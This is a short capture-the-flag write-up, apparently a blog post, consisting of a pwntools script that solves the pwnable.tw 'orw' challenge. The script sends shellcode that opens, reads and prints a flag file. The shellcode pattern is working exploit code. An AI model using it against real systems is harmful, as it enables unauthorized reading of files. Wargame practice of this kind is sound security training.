1 2 3 4 5 6 7 8 9 10 11 12 13 14 | from pwn import * r = remote('chall.pwnable.tw', 10001) context(arch='i386', os='linux') sm = '' sm += shellcraft.open('/home/orw/flag') sm += shellcraft.read(3, 'esp', 50) sm += shellcraft.write(1, 'esp', 50) sm += shellcraft.exit() r.sendlineafter(':', asm(sm)) r.interactive() | cs |
'Wargame > ▷ pwnable.tw' 카테고리의 다른 글
| [pwnable.tw] applestore (0) | 2018.08.03 |
|---|---|
| [pwnable.tw] silver_bullet (0) | 2018.07.29 |
| [pwnable.tw] dubblesort (0) | 2018.07.29 |
| [pwnable.tw] calc (0) | 2018.07.24 |
| [pwnable.tw] start (0) | 2018.03.04 |